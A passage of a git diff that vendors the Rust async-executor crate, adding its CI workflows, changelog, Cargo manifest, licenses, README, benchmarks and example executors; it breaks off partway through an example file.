weak_s.upgrade().unwrap(); + s.send_blocking(3).unwrap(); + let r = weak_r.upgrade().unwrap(); + assert_eq!(r.recv_blocking(), Ok(3)); + } + + // Drop the original sender/receiver pair. + drop((s, r)); + + // Try to upgrade again. + { + assert!(weak_s.upgrade().is_none()); + assert!(weak_r.upgrade().is_none()); + } +} diff --git a/lib/malio/async-executor/.github/dependabot.yml b/lib/malio/async-executor/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-executor/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-executor/.github/workflows/ci.yml b/lib/malio/async-executor/.github/workflows/ci.yml new file mode 100644 index 0000000..7a0ba04 --- /dev/null +++ b/lib/malio/async-executor/.github/workflows/ci.yml @@ -0,0 +1,91 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: rustup target add wasm32-unknown-unknown + - uses: taiki-e/install-action@cargo-hack + - run: cargo build --all --all-features --all-targets + if: startsWith(matrix.rust, 'nightly') + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + if: startsWith(matrix.rust, 'nightly') + run: cargo check -Z features=dev_dep + - run: cargo test + - run: cargo test --all-features + - run: cargo check --all --all-features --target wasm32-unknown-unknown + - run: cargo hack build --all --all-features --target wasm32-unknown-unknown --no-dev-deps + + msrv: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --rust-version + + clippy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - run: cargo clippy --all-features --all-targets + + miri: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup toolchain install nightly --component miri && rustup default nightly + - run: cargo miri test + env: + MIRIFLAGS: -Zmiri-strict-provenance -Zmiri-symbolic-alignment-check -Zmiri-disable-isolation + RUSTFLAGS: ${{ env.RUSTFLAGS }} -Z randomize-layout + - run: cargo miri test --all-features + env: + MIRIFLAGS: -Zmiri-strict-provenance -Zmiri-symbolic-alignment-check -Zmiri-disable-isolation -Zmiri-ignore-leaks + RUSTFLAGS: ${{ env.RUSTFLAGS }} -Z randomize-layout diff --git a/lib/malio/async-executor/.github/workflows/release.yml b/lib/malio/async-executor/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-executor/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-executor/.gitignore b/lib/malio/async-executor/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/async-executor/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/async-executor/CHANGELOG.md b/lib/malio/async-executor/CHANGELOG.md new file mode 100644 index 0000000..89311fb --- /dev/null +++ b/lib/malio/async-executor/CHANGELOG.md @@ -0,0 +1,134 @@ +# Version 1.13.3 + +- Avoid places where the code had a possibility to block or panic. (#147) + +# Version 1.13.2 + +- Fix build failure with minimal-versions. (#132) +- Prevent executor from becoming unusable by panic of the iterator passed by the user to the `spawn_many`. (#136) +- Reduce memory footprint. (#137) + +# Version 1.13.1 + +- Fix docs.rs build. (#125) + +# Version 1.13.0 + +- Relax the `Send` bound on `LocalExecutor::spawn_many`. (#120) +- Ensure all features are documented on `docs.rs`. (#122) + +# Version 1.12.0 + +- Add static executors, which are an optimization over executors that are kept + around forever. (#112) + +# Version 1.11.0 + +- Re-export the `async_task::FallibleTask` primitive. (#113) +- Support racy initialization of the executor state. This should allow the executor to be + initialized on web targets without any issues. (#108) + +# Version 1.10.0 + +- Add a function `spawn_batch` that allows users to spawn multiple tasks while only locking the executor once. (#92) + +# Version 1.9.1 + +- Remove the thread-local optimization due to the bugs that it introduces. (#106) + +# Version 1.9.0 + +- Re-introduce the thread-local task push optimization to the executor. (#93) +- Bump `async-task` to v4.4.0. (#90) +- Replace some unnecessary atomic operations with non-atomic operations. (#94) +- Use weaker atomic orderings for notifications. (#95) +- When spawning a future, avoid looking up the ID to assign to that future twice. (#96) + +# Version 1.8.0 + +- When spawned tasks panic, the panic is caught and then surfaced in the spawned + `Task`. Previously, the panic would be surfaced in `tick()` or `run()`. (#78) + +# Version 1.7.2 + +- Fix compilation under WebAssembly targets (#77). + +# Version 1.7.1 + +- Fix compilation under WebAssembly targets (#75). +- Add a disclaimer indicating that this is a reference executor (#74). + +# Version 1.7.0 + +- Bump `async-lock` and `futures-lite` to their latest versions. (#70) + +# Version 1.6.0 + +- Remove the thread-local queue optimization, as it caused a number of bugs in production use cases. (#61) + +# Version 1.5.4 + +- Fix a panic that could happen when two concurrent `run()` calls are made and the thread local task slot is left as `None`. (#55) + +# Version 1.5.3 + +- Fix an accidental breaking change in v1.5.2, where `ex.run()` was no longer `Send`. (#50) +- Remove the unused `memchr` dependency. (#51) + +# Version 1.5.2 + +- Add thread-local task queue optimizations, allowing new tasks to avoid using the global queue. (#37) +- Update `fastrand` to v2. (#45) + +# Version 1.5.1 + +- Implement a better form of debug output for Executor and LocalExecutor. (#33) + +# Version 1.5.0 + +- Remove the dependency on the `once_cell` crate to restore the MSRV. (#29) +- Update `concurrent-queue` to v2. + +# Version 1.4.1 + +- Remove dependency on deprecated `vec-arena`. (#23) + +# Version 1.4.0 + +- Add `Executor::is_empty()` and `LocalExecutor::is_empty()`. + +# Version 1.3.0 + +- Parametrize executors over a lifetime to allow spawning non-`static` futures. + +# Version 1.2.0 + +- Update `async-task` to v4. + +# Version 1.1.1 + +- Replace `AtomicU64` with `AtomicUsize`. + +# Version 1.1.0 + +- Use atomics to make `Executor::run()` and `Executor::tick()` futures `Send + Sync`. + +# Version 1.0.0 + +- Stabilize. + +# Version 0.2.1 + +- Add `try_tick()` and `tick()` methods. + +# Version 0.2.0 + +- Redesign the whole API. + +# Version 0.1.2 + +- Add the `Spawner` API. + +# Version 0.1.1 + +- Initial version diff --git a/lib/malio/async-executor/Cargo.toml b/lib/malio/async-executor/Cargo.toml new file mode 100644 index 0000000..4fb566f --- /dev/null +++ b/lib/malio/async-executor/Cargo.toml @@ -0,0 +1,48 @@ +[package] +name = "async-executor" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v1.x.y" git tag +version = "1.13.3" +authors = ["Stjepan Glavina ", "John Nunley "] +edition = "2021" +rust-version = "1.65" +description = "Async executor" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-executor" +keywords = ["asynchronous", "executor", "single", "multi", "spawn"] +categories = ["asynchronous", "concurrency"] +exclude = ["/.*"] + +[features] +# Adds support for executors optimized for use in static variables. +static = [] + +[dependencies] +async-task = "4.4.0" +concurrent-queue = "2.5.0" +fastrand = "2.0.0" +futures-lite = { version = "2.0.0", default-features = false } +pin-project-lite = "0.2" +slab = "0.4.7" + +[target.'cfg(target_family = "wasm")'.dependencies] +futures-lite = { version = "2.0.0", default-features = false, features = ["std"] } + +[dev-dependencies] +async-channel = "2.0.0" +async-io = "2.1.0" +async-lock = "3.0.0" +criterion = { version = "0.8", default-features = false, features = ["cargo_bench_support"] } +easy-parallel = "3.1.0" +fastrand = "2.0.0" +futures-lite = "2.0.0" +once_cell = "1.16.0" + +[[bench]] +name = "executor" +harness = false +required-features = ["static"] + +[package.metadata.docs.rs] +all-features = true diff --git a/lib/malio/async-executor/LICENSE-APACHE b/lib/malio/async-executor/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-executor/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-executor/LICENSE-MIT b/lib/malio/async-executor/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-executor/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-executor/README.md b/lib/malio/async-executor/README.md new file mode 100644 index 0000000..fed40b9 --- /dev/null +++ b/lib/malio/async-executor/README.md @@ -0,0 +1,52 @@ +# async-executor + +[![Build](https://github.com/smol-rs/async-executor/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-executor/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-executor) +[![Cargo](https://img.shields.io/crates/v/async-executor.svg)]( +https://crates.io/crates/async-executor) +[![Documentation](https://docs.rs/async-executor/badge.svg)]( +https://docs.rs/async-executor) + +Async executors. + +This crate provides two reference executors that trade performance for +functionality. They should be considered reference executors that are "good +enough" for most use cases. For more specialized use cases, consider writing +your own executor on top of [`async-task`]. + +[`async-task`]: https://crates.io/crates/async-task + +## Examples + +```rust +use async_executor::Executor; +use futures_lite::future; + +// Create a new executor. +let ex = Executor::new(); + +// Spawn a task. +let task = ex.spawn(async { + println!("Hello world"); +}); + +// Run the executor until the task completes. +future::block_on(ex.run(task)); +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-executor/benches/executor.rs b/lib/malio/async-executor/benches/executor.rs new file mode 100644 index 0000000..5fc140f --- /dev/null +++ b/lib/malio/async-executor/benches/executor.rs @@ -0,0 +1,498 @@ +#![allow(clippy::incompatible_msrv)] // false positive: https://github.com/rust-lang/rust-clippy/issues/12257#issuecomment-2093667187 + +use std::hint::black_box; +use std::mem; +use std::thread::available_parallelism; + +use async_executor::{Executor, StaticExecutor}; +use criterion::{criterion_group, criterion_main, Criterion}; +use futures_lite::{future, prelude::*}; + +const TASKS: usize = 300; +const STEPS: usize = 300; +const LIGHT_TASKS: usize = 25_000; + +static EX: Executor<'_> = Executor::new(); +static STATIC_EX: StaticExecutor = StaticExecutor::new(); + +fn run(f: impl FnOnce(), multithread: bool) { + let limit = if multithread { + available_parallelism().unwrap().get() + } else { + 1 + }; + + let (s, r) = async_channel::bounded::<()>(1); + easy_parallel::Parallel::new() + .each(0..limit, |_| future::block_on(EX.run(r.recv()))) + .finish(move || { + let _s = s; + f() + }); +} + +fn run_static(f: impl FnOnce(), multithread: bool) { + let limit = if multithread { + available_parallelism().unwrap().get() + } else { + 1 + }; + + let (s, r) = async_channel::bounded::<()>(1); + easy_parallel::Parallel::new() + .each(0..limit, |_| future::block_on(STATIC_EX.run(r.recv()))) + .finish(move || { + let _s = s; + f() + }); +} + +fn create(c: &mut Criterion) { + c.bench_function("executor::create", |b| { + b.iter(|| { + let ex = Executor::new(); + let task = ex.spawn(async {}); + future::block_on(ex.run(task)); + }) + }); +} + +fn running_benches(c: &mut Criterion) { + for (prefix, with_static) in [("executor", false), ("static_executor", true)] { + for (group_name, multithread) in [("single_thread", false), ("multi_thread", true)].iter() { + let mut group = c.benchmark_group(group_name.to_string()); + + group.bench_function(format!("{prefix}::spawn_one"), |b| { + if with_static { + run_static( + || { + b.iter(|| { + future::block_on(async { STATIC_EX.spawn(async {}).await }); + }); + }, + *multithread, + ); + } else { + run( + || { + b.iter(|| { + future::block_on(async { EX.spawn(async {}).await }); + }); + }, + *multithread, + ); + } + }); + + if !with_static { + group.bench_function("executor::spawn_batch", |b| { + run( + || { + let mut handles = vec![]; + + b.iter(|| { + EX.spawn_many((0..250).map(|_| future::yield_now()), &mut handles); + }); + + handles.clear(); + }, + *multithread, + ) + }); + } + + group.bench_function(format!("{prefix}::spawn_many_local"), |b| { + if with_static { + run_static( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..LIGHT_TASKS { + tasks.push(STATIC_EX.spawn(async {})); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } else { + run( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..LIGHT_TASKS { + tasks.push(EX.spawn(async {})); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } + }); + + group.bench_function(format!("{prefix}::spawn_recursively"), |b| { + #[allow(clippy::manual_async_fn)] + fn go(i: usize) -> impl Future + Send + 'static { + async move { + if i != 0 { + EX.spawn(async move { + let fut = go(i - 1).boxed(); + fut.await; + }) + .await; + } + } + } + + #[allow(clippy::manual_async_fn)] + fn go_static(i: usize) -> impl Future + Send + 'static { + async move { + if i != 0 { + STATIC_EX + .spawn(async move { + let fut = go_static(i - 1).boxed(); + fut.await; + }) + .await; + } + } + } + + if with_static { + run_static( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..TASKS { + tasks.push(STATIC_EX.spawn(go_static(STEPS))); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } else { + run( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..TASKS { + tasks.push(EX.spawn(go(STEPS))); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } + }); + + group.bench_function(format!("{prefix}::yield_now"), |b| { + if with_static { + run_static( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..TASKS { + tasks.push(STATIC_EX.spawn(async move { + for _ in 0..STEPS { + future::yield_now().await; + } + })); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } else { + run( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..TASKS { + tasks.push(EX.spawn(async move { + for _ in 0..STEPS { + future::yield_now().await; + } + })); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } + }); + + group.bench_function(format!("{prefix}::channels"), |b| { + if with_static { + run_static( + || { + b.iter(move || { + future::block_on(async { + // Create channels. + let mut tasks = Vec::new(); + let (first_send, first_recv) = async_channel::bounded(1); + let mut current_recv = first_recv; + + for _ in 0..TASKS { + let (next_send, next_recv) = async_channel::bounded(1); + let current_recv = + mem::replace(&mut current_recv, next_recv); + + tasks.push(STATIC_EX.spawn(async move { + // Send a notification on to the next task. + for _ in 0..STEPS { + current_recv.recv().await.unwrap(); + next_send.send(()).await.unwrap(); + } + })); + } + + for _ in 0..STEPS { + first_send.send(()).await.unwrap(); + current_recv.recv().await.unwrap(); + } + + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ) + } else { + run( + || { + b.iter(move || { + future::block_on(async { + // Create channels. + let mut tasks = Vec::new(); + let (first_send, first_recv) = async_channel::bounded(1); + let mut current_recv = first_recv; + + for _ in 0..TASKS { + let (next_send, next_recv) = async_channel::bounded(1); + let current_recv = + mem::replace(&mut current_recv, next_recv); + + tasks.push(EX.spawn(async move { + // Send a notification on to the next task. + for _ in 0..STEPS { + current_recv.recv().await.unwrap(); + next_send.send(()).await.unwrap(); + } + })); + } + + for _ in 0..STEPS { + first_send.send(()).await.unwrap(); + current_recv.recv().await.unwrap(); + } + + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ) + } + }); + + group.bench_function(format!("{prefix}::web_server"), |b| { + if with_static { + run_static( + || { + b.iter(move || { + future::block_on(async { + let (db_send, db_recv) = + async_channel::bounded::>( + TASKS / 5, + ); + let mut db_rng = fastrand::Rng::with_seed(0x12345678); + let mut web_rng = db_rng.fork(); + + // This task simulates a database. + let db_task = STATIC_EX.spawn(async move { + loop { + // Wait for a new task. + let incoming = match db_recv.recv().await { + Ok(incoming) => incoming, + Err(_) => break, + }; + + // Process the task. Maybe it takes a while. + for _ in 0..db_rng.usize(..10) { + future::yield_now().await; + } + + // Send the data back. + incoming.send(db_rng.usize(..)).await.ok(); + } + }); + + // This task simulates a web server waiting for new tasks. + let server_task = STATIC_EX.spawn(async move { + for i in 0..TASKS { + // Get a new connection. + if web_rng.usize(..=16) == 16 { + future::yield_now().await; + } + + let mut web_rng = web_rng.fork(); + let db_send = db_send.clone(); + let task = STATIC_EX.spawn(async move { + // Check if the data is cached... + if web_rng.bool() { + // ...it's in cache! + future::yield_now().await; + return; + } + + // Otherwise we have to make a DB call or two. + for _ in 0..web_rng.usize(STEPS / 2..STEPS) { + let (resp_send, resp_recv) = + async_channel::bounded(1); + db_send.send(resp_send).await.unwrap(); + black_box(resp_recv.recv().await.unwrap()); + } + + // Send the data back... + for _ in 0..web_rng.usize(3..16) { + future::yield_now().await; + } + }); + + task.detach(); + + if i & 16 == 0 { + future::yield_now().await; + } + } + }); + + // Spawn and wait for it to stop. + server_task.await; + db_task.await; + }); + }) + }, + *multithread, + ) + } else { + run( + || { + b.iter(move || { + future::block_on(async { + let (db_send, db_recv) = + async_channel::bounded::>( + TASKS / 5, + ); + let mut db_rng = fastrand::Rng::with_seed(0x12345678); + let mut web_rng = db_rng.fork(); + + // This task simulates a database. + let db_task = EX.spawn(async move { + loop { + // Wait for a new task. + let incoming = match db_recv.recv().await { + Ok(incoming) => incoming, + Err(_) => break, + }; + + // Process the task. Maybe it takes a while. + for _ in 0..db_rng.usize(..10) { + future::yield_now().await; + } + + // Send the data back. + incoming.send(db_rng.usize(..)).await.ok(); + } + }); + + // This task simulates a web server waiting for new tasks. + let server_task = EX.spawn(async move { + for i in 0..TASKS { + // Get a new connection. + if web_rng.usize(..=16) == 16 { + future::yield_now().await; + } + + let mut web_rng = web_rng.fork(); + let db_send = db_send.clone(); + let task = EX.spawn(async move { + // Check if the data is cached... + if web_rng.bool() { + // ...it's in cache! + future::yield_now().await; + return; + } + + // Otherwise we have to make a DB call or two. + for _ in 0..web_rng.usize(STEPS / 2..STEPS) { + let (resp_send, resp_recv) = + async_channel::bounded(1); + db_send.send(resp_send).await.unwrap(); + black_box(resp_recv.recv().await.unwrap()); + } + + // Send the data back... + for _ in 0..web_rng.usize(3..16) { + future::yield_now().await; + } + }); + + task.detach(); + + if i & 16 == 0 { + future::yield_now().await; + } + } + }); + + // Spawn and wait for it to stop. + server_task.await; + db_task.await; + }); + }) + }, + *multithread, + ) + } + }); + } + } +} + +criterion_group!(benches, create, running_benches); + +criterion_main!(benches); diff --git a/lib/malio/async-executor/examples/limit.rs b/lib/malio/async-executor/examples/limit.rs new file mode 100644 index 0000000..4342c79 --- /dev/null +++ b/lib/malio/async-executor/examples/limit.rs @@ -0,0 +1,95 @@ +//! An executor where you can only push a limited number of tasks. + +use async_executor::{Executor, Task}; +use async_lock::Semaphore; +use std::{future::Future, sync::Arc, time::Duration}; + +/// An executor where you can only push a limited number of tasks. +struct LimitedExecutor { + /// Inner running executor. + executor: Executor<'static>, + + /// Semaphore limiting the number of tasks. + semaphore: Arc, +} + +impl LimitedExecutor { + fn new(max: usize) -> Self { + Self { + executor: Executor::new(), + semaphore: Semaphore::new(max).into(), + } + } + + /// Spawn a task, waiting until there is a slot available. + async fn spawn(&self, future: F) -> Task + where + F::Output: Send + 'static, + { + // Wait for a semaphore permit. + let permit = self.semaphore.acquire_arc().await; + + // Wrap it into a new future. + let future = async move { + let result = future.await; + drop(permit); + result + }; + + // Spawn the task. + self.executor.spawn(future) + } + + /// Run a future to completion. + async fn run(&self, future: F) -> F::Output { + self.executor.run(future).await + } +} + +fn main() { + futures_lite::future::block_on(async { + let ex = Arc::new(LimitedExecutor::new(10)); + ex.run({ + let ex = ex.clone(); + async move { + // Spawn a bunch of tasks that wait for a while. + for i in 0..15 { + ex.spawn(async move { + async_io::Timer::after(Duration::from_millis(fastrand::u64(1..3))).await; + println!("Waiting task #{i} finished!"); + }) + .await + .detach(); + } + + let (start_tx, start_rx) = async_channel::bounded::<()>(1); + let mut current_rx = start_rx; + + // Send the first message. + start_tx.send(()).await.unwrap(); + + // Spawn a bunch of channel tasks that wake eachother up. + for i in 0..25 { + let (next_tx, next_rx) = async_channel::bounded::<()>(1); + + ex.spawn(async move { + current_rx.recv().await.unwrap(); + println!("Channel task {i} woken up!"); + next_tx.send(()).await.unwrap(); + println!("Channel task {i} finished!"); + }) + .await + .detach(); + + current_rx = next_rx; + } + + // Wait for the last task to finish. + current_rx.recv().await.unwrap(); + + println!("All tasks finished!"); + } + }) + .await; + }); +} diff --git a/lib/malio/async-executor/examples/priority.rs b/lib/malio/async-executor/examples/priority.rs new file mode 100644 index 0000000..b1dc01e --- /dev/null +++ b/lib/malio/async-executor/examples/priority.rs @@ -0,0 +1,84 @@ +//! An executor with task priorities. + +use std::thread; + +use async_executor::{Executor, Task}; +use futures_lite::{future, prelude::*}; + +/// Task priority. +#[repr(usize)] +#[derive(Debug, Clone, Copy)] +enum Priority { + High = 0, + Medium = 1, + Low = 2, +} + +/// An executor with task priorities. +/// +/// Tasks with lower priorities only get polled when there are no tasks with higher priorities. +struct PriorityExecutor<'a> { + ex: 